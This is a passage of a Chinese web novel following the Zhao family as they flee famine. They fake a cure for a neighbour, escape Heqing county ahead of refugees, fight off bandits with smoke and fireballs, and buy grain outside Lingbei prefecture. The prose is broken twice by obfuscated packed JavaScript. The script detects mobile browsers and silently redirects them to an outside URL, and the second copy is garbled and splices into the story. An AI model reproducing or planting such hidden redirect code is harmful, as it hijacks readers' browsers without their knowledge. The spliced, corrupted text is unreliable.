她一般不爱这样称呼自己,门外肯定还有其他人,宁爸立马会意,“媳妇,我这就给你开门。” 回头再确认一眼屋里没什么纰漏,宁爸这才拉开门。 果然,门外站着俩脸熟的同村人。 宁妈先进来,然后拉着二顺媳妇和她女儿一起进来。 这间房后面是有窗户的,窗户一直开着,屋内只有淡淡的果香,二顺媳妇满脑子席二顺,压根没往深处想,还以为是从窗户外头飘进来的味道。 她抹着泪,说:“前几日遇到歹人,多亏兰香替我挡了一刀,这才没被那贼人给害了,这救命之恩,我还未报答。” 说着,她“哐当”一下跪在地上,直接磕了三个邦邦响的头。 宁妈哪能经得起她这样,赶紧去把她扶起来。 “这么客气干什么,任谁看见都会帮一把的!” 比起之前的事,宁妈更好奇她的来意,“你刚才说让我救救你们,是怎么个事儿?” 难道是看到她家买了粮食?想借粮食? 还是说想借银子去买粮食? 二顺媳妇抹抹眼角的泪,说:“我家二顺之前被打到头,本来养得差不多了,今天公爹非让他顶着日头去排队买粮食。” “我没让他去,让他坐在边上,没想到……没想到他还是晕了过去!” “大夫说,他还得继续吃药,我倒是有银子,是上次里正……” 二顺媳妇娓娓道来。 上次因着通报有功,里正偷偷给她塞了十两银子,让她拿好,是自己留着还是交到公中,由她和二顺自己决定。 她找机会和男人说,二顺毫不犹豫,让她把银子藏好,谁都不要说。 交到公中,只会被席老头和席大顺给霍霍。 他们留着,还能应急用。 银子倒是有,但怎么拿出来也发愁,二顺还晕着,公爹又不肯出银子治,二顺媳妇发愁得不行,突然想到救过她的周兰香,这才带着女儿急急地寻来。 站在门口踌躇片刻,正想着算了,周兰香却刚好从外头回来。 赵宁宁一家子听完,也有些发愁。 他们又不会医术,不然还能直接帮忙过去看……不对! 赵宁宁悄悄扯扯宁爸的袖子,小声说:“爹,你之前不是学了点药草知识吗?” 宁爸点头,“哦……好像是有这回事。” 赵宁宁说:“你这样……” 一阵大声密谋过后,二顺媳妇激动得不行,她交代好大夫是哪位,把银子塞给宁妈。 宁妈让二顺媳妇先回去,他们待会就过去给二顺“治病”。 “还是宁宁脑子灵活,等我小了我也要这样。”宁爸嘿嘿笑。 “别笑了,赶紧走。”宁妈撵着他出门。 宁爸揣着银子出门,去医馆晃了一圈回来,假装路过大通铺那边,看到昏迷不醒的二顺,宁爸哎呦了一声。 他喊喊二顺,二顺不醒,宁爸着急,对着席老头一通谴责。 席老头:? 说我是干什么呢?人又不是我打晕的,是晒晕的! 谴责过后,宁爸说:之前在村里,二顺帮他提过水,他不能看着二顺这样昏迷着。 刚好自己懂一些药草,宁爸自告奋勇地,给二顺开了包药,跑着去“卖”了回来,亲自蹲在后厨煮药。 煮好之后,宁爸又亲自盯着二顺喝下去,一直到二顺悠悠转醒,宁爸这才呲着大牙笑。 说总算是报答了二顺的恩情。 刚转醒什么都不知道的二顺:? 二顺媳妇看到自家男人醒过来,高兴得都哭了,宁爸功成身退,回房间去讲自己怎么执行“密谋”的。 第44章 都是冰激凌害的 赵宁宁想到宁爸反正懂药草,迟早要摆到明面上的,不如趁这个机会,说自己会治一点小病。 赵宁宁先让他先去医馆,问今天给二顺看病的大夫二顺是什么情况,又让大夫开了药,买好回去,开演! 移花接木一下,给二顺看病的人成了宁爸。 宁爸说,席老头看他把二顺给治醒的眼神跟看到他请神上身了一样。 这个形容让另外三个人笑得不行,就连一向稳重的赵启都忍不住笑出声。 宁爸一边绘声绘色给家里人讲今天下午的事儿,一边帮着宁妈拌凉菜。 拍黄瓜动静太大,只能在空间厨房做,赵宁宁站在小板凳上,啪叽啪叽流水线一样的拍。 宁妈在外面切脆藕,切好之后拿给宁宁,宁宁拿去焯水。 除了拌这两样,凉菜还能拌豆角,听到这两个字,赵宁宁脸和豆角一样绿。 如果能回到穿越的前一天,她一定要把冰箱里的豆角给丢掉! 路上不方便做菜,宁妈攒了一堆,一下子掏出来桌子上都有些摆不下。 赵宁宁认命地回去焯豆角。 除了蔬菜,宁妈还准备了麻酱味的拌面筋,面筋泡发后焯水,放凉后和芝麻酱一起凉拌,吃在嘴里香得不行。 做着做着,宁妈又想起来之前吃过一道小凉菜:娃娃菜、紫甘蓝、胡萝卜、洋葱、黄瓜。 这几样切成细丝,混在一起加干辣椒和蒜末用热油浇了,烫出香味之后再加酱油醋这些,稍微拌一拌就好吃得不行。 还不用焯水。 两父子也别闲着,宁妈掏出两个菜刀和案板,安排他们俩一个切紫甘蓝,一个切娃娃菜。 圆桌被三个案板占满,切好的菜都没地儿放了。 宁爸把凳子搬过来,放菜的木盆子放在凳子上。 一家四口没一个闲着的,一下午的功夫,拌出来二十盆凉菜。 把菜都收好放起来,几人轮流去冲了个凉,晚饭也不准备,宁爸直接去楼下买回来吃。 这里晚上有面食,咸香的浇头往面条上一浇,筷子随意搅弄几下,也不用混太匀乎,就着浇头的边吸溜,菜和菜汁一起进嘴里。 宁爸吃得直夸。 这种盖浇面也很适合在路上吃,宁爸想:这次来不及准备了,下次到县城直接去租个院子,在院子里做饭能施展得开拳脚。 他要多做一些浇头,路上来不及吃饭的时候,像去食堂一样,直接选一样菜,再把煮好的面条夹出来一混,一顿饭就好了。 吃过晚饭,宁妈带着几人在屋里活动活动筋骨,宁爸下楼去照料骡子和马。 临睡之前,赵宁宁嫌热,又给家里人一人分了一桶冰激凌,吃完之后,一向怕热的宁爸都不喊热了。 该买的都买了,一家子睡得极其安稳。 睡到半夜,宁爸肚子一痛,他捂着肚子起来,扭曲着脸把油灯点亮。 灯一亮,宁妈也跟着醒过来,赵启也醒了。 “我肚子疼。”宁爸捂着肚子,让宁妈帮他把门闩好,他要去客栈后院上厕所。 宁妈放他出去,他刚走,宁妈也觉得自己肚子疼。 捂着肚子,宁妈跟着宁爸走,让赵启闩门。 赵启把门关好,正在想是不是吃冰激凌吃的,自己怎么没事的时候,他肚子也开始疼起来。 赵启:“……” ——不愧是一家人啊! 无奈,赵启喊:“宁宁!宁宁!” 赵宁宁听到声音,从空间出来,一脸菜色的说:“你快去吧。” 看着妹妹的脸色,赵启都不用问。 他们全家都闹肚子了! 还好宁宁能在家里的厕所解决。 赵启捂着肚子,飞快去后院茅坑找爸妈。 赵宁宁把门闩好,闪回空间,继续去蹲厕所。 半个时辰后,一身臭味的宁爸端着油灯,虚弱地从厕所出来。 宁妈和赵启吃得少,他们早回去了。 宁宁她吃了一整桶,但她有空间,能回家。 只有他!半夜和蚊子一起欣赏茅坑夜景。 一边复盘,宁爸一边往回走。 刚走没几步,他听见后院叮了哐啷的,好像有人在搬东西。 下意识地把油灯吹灭,宁爸悄悄往声音来处看。 月光朦胧,能看到不远处一行人正大包小包地往外搬。 刚才的动静是包袱里不知道什么东西碰撞的声音。 那个方向是……客栈掌柜住的地方。 ——他大半夜不睡觉,在折腾什么呢? 宁爸皱眉往前走走,贴着墙边,将头探出去半个,仔细听他们的交谈。 “快些快些!天亮之后就来不及了!” 掌柜的声音在催。 小二几乎要哭出来,“掌柜,我家里还有老娘,你就让我回去,去报个信吧!我不能留他们在合庆县啊!” 掌柜无奈,“还有两个时辰,够你通风报信的,你先把东西给我搬完,待会你走的时候,客栈那辆驴车给你!” 听到有驴车,小二声音立马激动起来,“掌柜的!我果然没跟错人!” “待会我去哪找你好?” “你要想跟着我,就去东门,记住,东门,别跑错了。” 宁爸悄悄记住,东门。 “外面那些人真当衙门吃素的,他们真是胆大……” “县太爷都要跑了,衙门能管个蛋!” 宁爸大惊,什么!合庆县当官的要跑了? 别管衙门坑不坑钱,只要他们还在,县城至少能维持表面的安稳。 要是他们不在,这个县城…… 东西还在搬,两人没再聊什么有内容的话,宁爸悄悄回到房间。 刚才肚子不舒服,宁妈还没睡下,她在让赵启和赵宁宁喝温水。 “不好了。”宁爸说:“好像要出事了!” “刚才我在下面听到,合庆县当官的要跑,还说什么明天一早城外有流民过来。” “啊?!”宁妈听完,愣了两秒。 回过神后,宁妈腾地起身,“咱们也得走。” “要走要走!还要通知里正他们一起。”宁爸说:“我去找他们,你们去套车,我们在后院汇合。” 宁妈伸手把屋里的行李都收好,两个孩子喝完温水,她把杯子也给收进空间。 几人分头行动。 宁爸去敲里正的门。 敲了几下,里正披着衣服急匆匆来开门,听到赵老二说的是什么后,他急得不行,一边喊屋里的儿子,一边去喊旁边那间房的人起来。 旁边住着里正家的女眷。 一炷香的功夫,里正把住在客栈的所有王李村的村民都给通知了个遍。 连不是王李村的,觉浅的人听到消息,也跟着动起来。 里正不让点灯,他们只能摸黑。 半个时辰后,王李村的人都准备好走了。 赵宁宁家牵着骡车走在最靠前的位置,旁边就是里正家的马车。 夜色中的合庆县静悄悄的。 但里正还是敏锐地听到了远处时不时传出来匆匆路过的脚步声。 赵老二说的,果然是真的! 合庆县不能待下去了! 他们本来计划休息两日,后日再出发,现在硬生生提前了一天。 天黑,看不清路,他们也不是本地人,也不好辨认方向。 走错两次路之后,里正直接去路上找了一队人跟着,这才算走对路。 寅时正,一行人提前一个时辰抵达合庆县东门。 东门外已**了不少人,但没有人说话。 王李村的人也在等着,等里正和村长带着他们走出去。 过了一小会,队伍缓缓移动。 里正悬起的心渐渐放下。 他们今日能顺利出去就行,不管白天合庆县到底是个什么情况,都跟他们无关。 出城之后,王李村的队伍跟着前面的人上了一条小道,所有人都不敢停歇,一直走到天亮。 天亮之后,队伍拉开,村长拿出地图对照,确定方向没走错之后,他们才松了口气。 继续前行。 赵宁宁一家四口昨天晚上都没睡好,宁爸和赵启赶了半天的骡车,宁妈喊他们回来休息。 这样轮流赶车,王李村的队伍一上午都没有停歇,早上来不及吃饭的,有饼子的边走边啃饼子,没有干粮的,只能干瞪眼合计口水。 一直到中午,队伍里的人实在是走不动,里正才带着人下大路休息。 最近中午越来越热,里正把中午休息的时间拉长,从巳时初一直休息到下午申时正, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229769|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足足两个半时辰。 晚上多赶路,早上早点起,这样至少最热的时候不是在走路。 中午休息的时候,宁妈从空间拿出预制好的饭菜,简单吃下,留赵宁宁守着,另外三个人睡会午觉。 赵宁宁也不用出去,直接在空间呆着,一边整理电梯厅的杂物,一边留意着外头的动静。 收拾出来一袋子垃圾丢在垃圾点,赵宁宁拍拍手,回到屋里去洗手池把手洗干净。 再换一身衣服,坐在她玄关小窝上。 申时正,里正喊人继续前行。 睡醒起来的几人口干舌燥的,但昨天晚上拉肚子,今天不敢再喝凉水,只能喝点温水。 他们三个起来之后,轮到赵宁宁去休息。 赵宁宁在玄关小窝,一睡就是一下午。 再醒过来的时候,外面天都黑了。 队伍依旧在前行。 打折哈欠,赵宁宁从空间出来,宁妈招呼她一起坐着吃葡萄。 赵宁宁揪下来一颗,一边往嘴里塞一边问:“大概几点了?” 宁妈心算一下,回答:“差不多该有七点了,里正说白天休息的时间久,夜里多走一会。” 吃了葡萄,赵宁宁大脑渐渐跟着苏醒过来,她伸伸懒腰,坐在宁妈旁边,摸摸**。 **不太凉了,赵宁宁去车厢外找宁爸他俩要回**,拿到空间给他们换上新的冰块。 又过一会,队伍总算停下。 到夜间休息的时间了。 今天白天休息的还行,宁妈琢磨着用小铁锅煮点饼子汤吃,他们家总是不做饭也容易惹人注意。 宁妈这边刚把炉子架上,还没开始点火,另一边,队伍四周巡逻的人匆匆赶回来,对里正说了什么。 宁爸远远瞧见,里正听完脸色立马变了。 下一秒,里正嗖地冲回车厢,拿着铜锣当当当地敲。 “后面有抢钱抢粮的贼人!快走!快走啊!” 队伍里大部分人都还没把东西卸下来,听到这个消息,立马拉着牲畜去套车。 宁爸把马套在车上,骡子拴在一边。 宁妈把铁锅拿车厢上,赵宁宁给它收空间。 赵启把饮马用的木桶给放车上。 四个人同时动起来,三分钟不到便收拾好了,看里正也收拾好,宁爸一扬鞭子,马儿嘚嘚地撒开蹄子跑起来。 队伍乱了几分钟,辨认好方向,跟着跑起来之后,慢慢变得整齐起来。 最前面的是骑马举着火把带路的村长,他后面紧跟着里正和村长家的家眷。 赵宁宁家就在他们的后面。 再往后,是村里有马车的人家,马车跑得要稍微快一些,马车之后是骡车、驴车、牛车。 在后面是纯靠人力拉动的架子车,东西少一些的跑得快,东西多的就会慢一些。 最后面压阵的,是骑着马的几个汉子。 他们由里正的大儿子带头。 白天赶路还能慢悠悠地走,听说后面有抢钱抢粮的,全都撒开脚丫子往前不要命地跑。 速度比平时不知快了多少倍。 不多时,后面隐隐传来打斗的声音。 赵宁宁扒着车窗往后看,只见后面骑马举着火把的几个汉子,正在和几个骑着马的人缠斗。 因骑着马,又没有趁手的武器,他们只能用柴刀或是锄头御敌。 也因着骑马,他们很是被动。 看到火把,赵宁宁想到了一个好主意。 “爹爹爹!”赵宁宁走到车头,“你去找里正,告诉他咱们可以用火攻!” 现在往前跑,算是上风向,只要在队尾烧点烟大的东西,那群追过来的人肯定会被迷到眼睛。 就算不能被呛到,也能遮挡一下他们的视线,趁机把点燃的棉布石头丢到对方的队伍里去。 宁爸一听,这主意真好! 慢慢将马车赶到里正马车旁边,宁爸和里正搭上话。 末了,他还特意点名,这是他女儿赵宁宁想出来的主意。 里正点点头,急着去解决后面追上来的人,直接安排村长的两个孩子,一边找东西,一边通知后面的人。 一刻钟过去,队尾还是在边打边走。 里正按照赵宁宁说的,把东西准备好之后,让队尾的人烧起来。 第45章 丰宁县的消息 沾过水的树枝树叶烧起来一股白烟直冲鼻腔,风一吹,烟全往后面飘。 跟过来的人登时被一股子浓烟给呛到,辣得眼睛都睁不开。 趁着这个时间,队尾的汉子们一边点火,一边把手里的火球往后面甩。 这个火球是用石头、棉布、棉花和灯油做成的。 扯棉花的时候汉子们看着都肉疼,平日里谁家添件棉花被子多不容易。 今天为了保命,里正家把被子都贡献出来了。 中间裹着石头,好方便往后砸,这不,一个汉子直接将火球砸在歹人的身上,火苗在那人身上蔓延。 这两个法子一用,顿时拉开两个队伍之间的距离。 没让汉子们停下,里正继续带着队伍往前跑。 一直跑到再也见不到那群人,队伍才渐渐慢下来。 村民们也实在是跑不动了。 小歇一刻钟,里正让大家继续往前走。 既然知道后面有豺狼在,睡都睡不安稳,不如直接通宵往前走,等到了府城附近,再找地方休息。 村里人都默许了这个赶路的方法。 拖着疲惫的身躯,一行人摸黑继续往前走。 里正和村长商议过后,带着队伍往小路走。 这会他们不敢走大路,怕再和那群人撞上,因此选择的小路,小路路况复杂,得小心着点走。 刚才逃命,村长举着火把不顾一切地往前跑。 还好路宽,没把人带进沟里。 现在他一个人举火把只能看清路中央,他又喊来一个汉子,两人一起举着火把走,这才能勉强照清路况。 队伍每隔一段,都燃着一个火把,队尾则是刚才骑马的那几个汉子,留着两把火把,一边照应着掉队的人,一边留意着后面的情况。 宁妈看这情况,估计要走到明天天亮,趁这会的功夫,她带着赵宁宁先去睡觉,等后半夜再起来替换着赶马车。 一直走到天亮,队伍终于抵达府城附近。 眼看一抬脚就能到岭北府了,里正问众人,要不要直接过去。 都临门了,不差这一脚,队伍里的人纷纷喊着要直接过去。 又走一个时辰,宁爸和赵宁宁熟悉的岭北府城门,终于出现在眼前。 和合庆县一样,这里的城门也是关着,禁止出入。 里正在外围找了一块空地,让众人先休息。 不管怎么说,这里都要比昨天晚上安全。 趁着众人休息的功夫,里正强撑着一夜没睡的身体,去打听府城这边是个什么情况。 打听了一圈回来,里正脸色不太好。 他媳妇往他手里放上一碗热的肉粥,问:“老头子,怎么了?脸色这样差。” “唉……”里正叹气。 “府城不让进。” 他刚刚去向好几个人打听,打听的结果都是——府城不让进。 来最久的已经有十天了,这十天,守在门口的衙役,只让府城本地的人进出。 出来卡的倒不是很严格,进的话,卡得很严。 衙门的人要仔细地核对户籍文书。 还有府城人的口音,跟各个县里的口音是不太一样的,想要顶替别人户籍文书冒充的,一张嘴也会露馅。 更不用说衙役还会随机抽人问他户籍附近的巷子名称、店铺名称。 这要不是府城本地人,谁能答得出来?! 普通百姓,光是跟衙役说话,都要壮着胆子。 “看来我们得绕路,换个地方了。”里正叹气,如果合庆县还安稳,留在合庆县多好,只可惜…… “绕路就绕路,好在大家伙在合庆县又买了一些粮食才上路的,怎么也能撑下去。”里正媳妇安慰他。 里正一口一口把肉粥喝完,去找村长商量法子。 村长捻着自己的胡子,思索道:“我在府城有一门亲戚,要不托人给他捎个信看看?” “就算没法进府城,咱们问问他能不能给买点粮食。” “那也成!”里正点头,队伍里最缺的就是粮食。 说干就干,村长去车厢里拿纸笔写信,写好后,和里正一起,在府城门口蹲点找人带信进去。 赵宁宁再醒过来的时候,车厢外头只有赵启。 她挠挠头,问:“爹娘呢?” 赵启见妹妹醒了,走进车厢,“他们进城了。” “进城?!怎么不带着我们一起?” 赵启压低声音说:“府城管得严,普通人不太好进,他们找人打听,说是二十两带一个人进去。” “他花银子又贴进去一点粮食,这才让那人同意。” 再加上宁爸之前是来过府城的,他和宁妈一点也不怕府城的衙役,看上去风淡云轻,不像是那种冒充户籍的人,轻松便进了城。 他们想趁这个功夫,去府城再倒卖一点东西,上次只在合庆县卖了粮食,那是因为粮食紧俏。 府城的人有钱,宁爸和宁妈这次准备倒卖蜂蜜、红糖、还有瓜果。 另一边,村长才收到回信。 那人说,他可以帮忙准备一车粮食,今天来不及,明天一早,他过来找村长详谈。 不管能不能进城,粮食总算能有着落了!里正捧着回信,心里欣慰不已。 宁爸和宁妈借口是去找人换粮食,一天内必须回来。 夕阳西下,暮色四合。 还不见宁爸宁妈回来,赵宁宁和赵启心里都有些着急。 他们俩望眼欲穿地看向城门的方向,好一会,才看到两个有点像是他们身形的人往这边走。 赵宁宁蹦下去走了两步,她眼神好,还真看清楚,那两人就是宁爸和宁妈! “娘!”赵宁宁飞过去,扑到宁妈怀里,宁爸手里提着一个小布袋,吃味道:“我跟你娘一起走,一起回的,怎么你眼里只有你娘,没我这个爹?” 赵宁宁嘿嘿一笑,过去拉拉宁爸的手,“爹!” 三个人走到车厢旁边,赵启帮忙把袋子往车上提。 “这袋子里是一些府城特产的炊饼,待会给老周家送去。”宁妈交代好,跟着进车厢里。 她从空间里拿出两个饼,一个孩子手里塞一个,宁妈摸摸俩孩子的头,“等一天了吧?饿不饿,热不热?” “不饿!”赵宁宁抱着饼,饼子摸起来还热着,是刚烤好没多久宁妈就收进空间里的,她从形状上看,发现这饼是上次来府城没吃上的那种。 整个饼都没几两面,但是饼看起来很大,薄的地方被烤得脆脆的,面多的地方才是带着韧劲的饼子。 一口咬下去,咬到薄脆的地方,芝麻香和麦香一起窜进口腔,一边嚼着嘴里的口水一边往外分泌着,赵宁宁都顾不上跟宁妈说话。 吃完一个饼,又喝了点水,赵宁宁和赵启也不饿也不急了,宁妈派赵启去周家送饼。 赵启提着袋子,飞速到周家的马车前面。 何氏看到这个平日里话少的小外孙,刚想招呼他一起来喝一碗粥,谁知他“啪”地一下,把一袋东西放在车头上,整个人直接跑了。 何氏:“……” 跟她娘简直一模一样! 回到车厢,赵宁宁把**都装好了,四人一人一个抱在怀里,两个孩子听两个大人今天进城的事。 宁妈空间里攒了好一批空间里的水果罐头和蜂蜜,还有那些新鲜瓜果,她挑着大周朝有的,这个时令能见到的,用箩筐装着在府城摆摊直接给卖了。 蜂蜜她攒的也多,用坛子装起来足足装了十小坛子,直接卖给干粮店。 红糖顺带也推销出去了。 剩下零零碎碎卖了一些吃食。 总共又卖出去两百两银子,宁妈花了五十两买了一些成衣和布料。 还花了五十两买了一些府城酒楼的菜,准备在路上的时候,让孩子们尝尝。 买卖东西都是小事,这次进府城,宁爸听到了一个不太妙的消息。 “府城里的人说,南边有流民。”宁妈叹气,“合庆县就是因为这个,县里当官的才连官职都不要也要弃县而逃。” “流民?”赵宁宁也跟着叹气,“现在有流民……那也正常。” 前几次都是偷偷摸摸的夺,这次从合庆县出来直接被人撵着明抢。 不乱才怪! “那……府城是不是也要乱了?”赵启担心。 “是啊。” “听说府城有些大户人家已经偷偷摸摸地在转移了,之所以没有大张旗鼓,是怕府城人心浮动,现在外界管这么严,也是怕流民的消息传过来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229770|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>城门一关,里面只要有人倒还能守得住城,万一人心浮动,府城的人全跑了,那岭北府……怕是也不太好。 “反正都要走。”赵宁宁摇头,抱着**不再说话。 ——反正都要走。 宁妈想到那本书,按照里面描写的,现在还只是旱灾,到后面还有各种天灾……接踵而至的天灾。 像这段时间这样的逃荒程度,还算是“轻松”模式,后面还有更难的在等着。 第二日,村长认识的“朋友”从府城里出来。 他不仅出来,还带了一个小孩。 “老李,真是好些年都没有见过了!”刘大程拍拍村长的胳膊,激动得眼泪都要落下来了,“该有二十多年了吧!没想到你个老小子竟然还活着!” 村长拍拍他的手,激动得胡子一抖一抖的。 两人一边走一边叙旧,走到一处无人的树下时,刘大程拉住村长胳膊,神色严肃道:“老李,我今天晚上给你们把粮食拉出来,你们得尽快离开府城。” “怎么?”村长疑惑。 “你不知道……”刘大程咽了口唾沫,说:“丰宁县……被流民占了,那些流民无恶不作,不仅抢东西,还害人性命。” 听到丰宁县的消息,村长浑身一震,继而不可置信地摇晃了几下,刘大程扶住好友,低下头,接着说: “合庆县,也被流民占了,但他们刚到合庆县,估计还要两天才会往府城这边来。” 本来他这两天正发愁怎么走,他要往北去,他带着的小主子家人都在北方,但现在外面这么乱,要想活命,要么花钱雇镖师护院或是打手,要么自己找人找商队跟着走。 前者,要花的银子数目不是他们能承担得起的。 后者,府城里有能耐的人家早把名额给占光了。 并且,刘大程以他多年市井生活的经验来说:跟着商队或是雇人保护虽然看上去更安全一些。 但也更容易被流民盯上。 要是有两个队伍,一个是商队,一个是普通逃荒的队伍,流民肯定挑肥柿子捏。 刘大程还想着再看看怎么走,哪知等着等着,等来了流民要涌来府城的噩耗。 离开府城,迫在眉睫。 他这几日正发愁怎么办时,刚好他的旧友递信过来。 “……所以我想问问你,能不能戴上我们一家子,还有我小主子一家。” 刘大程就差给李村长跪下了,李村长听他讲完,摸摸自己的胡子,“带你们一起走也不是不行,但是得和里正说一声。” “还有,你们跟着我们走,我们没法子保证你们的安全。” “看在认识这么多年的份上,我只能说,万一遇见什么事,我能帮你们则帮你们,剩下的,就是咱们一起听天由命了。” 能让一起走,刘大程已是喜出望外,他拉着站在一边的少年的手过来,说:“尚少爷,这便是我曾经讲过的李途!” 尚少爷郑重地朝村长拱手行礼,“若能一起上路,尚家还要多靠李大人多多照拂,尚某在此拜谢。” 这般文绉绉的话听得村长耳朵直痒痒,拱手回礼后,村长点头说:“我得和里正他们说一声,至于粮食……你们能带多少出来,我们便能吃得下多少。” 都流民追上来了,粮食肯定嫌少不会嫌多! 刘大程激动地点头。 他们跟着村长到王李村落脚的空地附近,看着李村长过去,和疑似里正的人说了一些什么。 不多时,他们两个一起过来,刘大程便知道:这事儿稳了。 果然,里正一过来,直说可以加入队伍,接着就问他们能运多少粮食。 刘大程算了一下,一辆马车加起来,顶多也就是一千多斤的粮食。 这还得是他能买到这么多粮食的情况下。 里正又问他银子够不够,不够的话这边先拿,让他放心买粮。 刘大程直摇头,说先把粮食带过来,再让里正他们给银子。 这样来回商量好粮食买多少、买什么、在哪几点见,刘大程这才一脸喜色地带着尚少爷往回走。 往队伍的方向回的时候,村长背着手,眼中泪光闪闪。 “老王……刚才还有个事没跟你讲。” 第46章 继续走吧 村长吸吸鼻子,语气中带着一丝哀伤:“丰宁县,被流民给占了。” 里正一呆,眼圈登时红了起来。 看他这样,村长心里也不好受得紧。 “丰宁县……丰宁县被流民……占了?”里正喃喃道:“那、那王李村……” 王李村多半也不太好。 更何况,村里还有几家老人,硬拗着不肯一起来逃荒。 里正眼圈红着回到自家队伍。 他的异状,里正媳妇第一眼便看出来,但没戳破,等到晚饭过后,两人躺在草席子上的时候,里正叹息着把这个消息说了出来。 里正媳妇沉默良久,只轻轻给他打着扇子。 “春芳,你说我是不是,做错了,当初我是不是该把他们一起带出来?”里正心口难受得紧。 苗氏轻摇扇子,缓缓道:“你都劝那么久,他们也不肯跟着一起走。” 能劝得动的人,早被里正劝着一起走了。 只有那三家……苗春芳想了想,那是村里年纪最长的三个老人。 当年他们跟着长辈一起逃荒到丰宁县,后面才在王李村安的家。 “或许他们知道逃荒的不易……也或许,他们想着当年好不容易在王李村落脚了。” 也或许,他们觉得,自己这个年纪上路逃荒,只是徒费功夫,说不准会死在半路。 哀伤的情绪一直萦绕在里正心头。 第二天一早,天刚亮,城门刚开。 村长和里正带着人去接应。 一辆马车上高高地摆满了东西,上面蒙着油布,让人看不清里面放的东西。 两匹马拉还有些吃力的样子,让人不难猜到,这车上拉的是重物,不是粮食,就是银子。 府城四周的人蠢蠢欲动,但看到四周有十几个带着柴刀的汉子守在一旁时,那股贪欲转为羡慕,又转为嫉恨。 带着这几辆马车,里正和村长直接走上官道大路,刚上大路没多久,大路两旁早已等候多时的王李村的人默不作声地汇合过来。 一队人马牢牢阻挡住后面窥探的视线。 一直往前走,走到上午巳时正,眼看着已经甩掉后面跟着的人,里正才让队伍停下来。 今天要分粮食,里正特意选了一处林子,拖着架子车的村民把车停在路边,安排家里人盯着。 各家各户都去了一个人,里正说了,今天有粮! 赵宁宁家是宁妈去的。 马车上鼓鼓囊囊的,王李村每个人的视线都灼热无比地黏了上去。 站定之后,村长和里正扫了一眼,看人差不多都到齐了,里正便说:“今天我们之所以能站在这里,多亏了尚家的大夫人和大少爷!” 村民点头,那可不么!没他们,村里人上哪找这么大一车粮食。 里正昨天便说了,府城进不去,后面又有流民要追上来,大家伙还得继续往前走,走到黄石县。 尚家的人会跟着一起北上继续逃荒,接下来还有好长一段路,今天这些粮食,或许是接下来路上的保命粮食! 这样想着,看向马车的视线更加黏糊了。 拉车的两匹马被这么多视线盯着,不安地尥着蹶子,鼻孔喷着粗气。 “这车的粮价按照买来的粮价算,里面多是一些粗粮。精米七十七文一斤、面八十文、糙米七十文、小米六十五文、高粱面六十文……” 里正念了一长串,底下村民异常安静地听着。 有一小半的人,身上所有的银子都在过合庆县的时候贡献给衙门了。 身上实在是……囊中羞涩。 还有一半,身上倒是有些银子,只是不多,他们想着回家跟家里人商量一下,到底该怎么买。 村里几家富户听到有粮食可以买,第一个站出来,酌情地买了三四十斤。 如果不是想着自家买太多,村里人没得卖会闹,他们真想把这车粮食给包圆。 “七十七文,怎么不去抢钱呢!”席老头嘀嘀咕咕。 他旁边的人听见,不悦说:“你就知足吧!合庆县你想买都买不到,现在有得买就不错了!” 他怎么有脸嫌贵的!人家大老远把粮食买好又拉过来,都不用他们排队! 他可是知道的,这个席老头逼着自家受伤还没好全的二儿子在合庆县排队买粮食,那日头直接把人给晒晕了! “早不说是收钱的,净浪费我功夫来排队,我还以为不要钱呢!” 席老头一挥手,“要说这粮食要钱,我便不来了!” 他嚷嚷的声音太大,这下不仅四周的人听见,更远一些的人也听见了。 钱婆子听到,心底暗暗点头。 可不是吗!她当时听到消息的时候,也以为是里正要白发粮食呢! 所以她今天一停车,赶紧迈着步子小跑过来,就是为了占一个好位置! 席老头的话站在最前排的里正和村长也听见了。 听到这白嫖的话,村长哂笑道:“真是林子大了,什么鸟都有。” 站在前排的村民听出他指桑骂槐的意思,再想到:现在可不么!正站在林子里! 这种想白嫖的村民走了几个,剩下的都规规矩矩地拿钱买粮。 轮到宁妈,宁妈一手交钱,一手递袋子,里正家的几个儿媳妇用量斗把粮食装好,再递过来。 宁妈揣着粮食往回走。 “哎!” 一个声音在旁边喊。 宁妈以为是别人在喊别人,便继续往前走。 “周氏!我喊你呢!” 钱婆子气急败坏,这个二儿媳自打分家之后,眼里一点对长辈的尊敬都没有。 宁妈听到指名道姓地喊话,不由得停下来,回头看看是钱婆子,满脸的晦气。 “你喊我?”宁妈问。 “你们家怎么是你出来买粮食?老二呢?”钱婆子不悦,周氏态度真差,她真怀念以前那个任她打骂的二儿媳妇……早知道要逃荒,他们一家说什么也不打五丫头的主意。 这样路上赶车就有人了,捡柴火也有人了。 而不是像现在这样,两个儿子见天地推脱躲懒,两个儿媳也是一个不如一个。 “我们家不让老二出来买粮食你不是最该知道的么!”宁妈不客气地回怼过去:“哪次在村里见到他你不都要眼泪花花地跟他卖惨吗? 怎么,今天看到是我你没办法卖惨要粮食,心里不得劲了?” 心事被戳破,钱婆子老脸羞红,她指着宁妈喊:“你这是对长辈该有的态度吗?!” “不然什么态度?”宁妈眼角余光看到宁爸和赵宁宁过来,一把把粮食袋子塞赵宁宁手里,撸起袖子,她说:“之前在村里老有人不长眼地来找我事。 难道你也脸痒痒了,想让我给你扇两把掌解解痒?” 钱婆子气得手抖,看到旁边站着赵老二,恨铁不成钢地说:“老二,你就这样管你媳妇的?你就这样看着你娘被人骂?!” 宁爸挠头:“不是你签断亲书撵我们一家子走的么?现在反悔啦?那你给我们二十两银子,我们再认回去。” 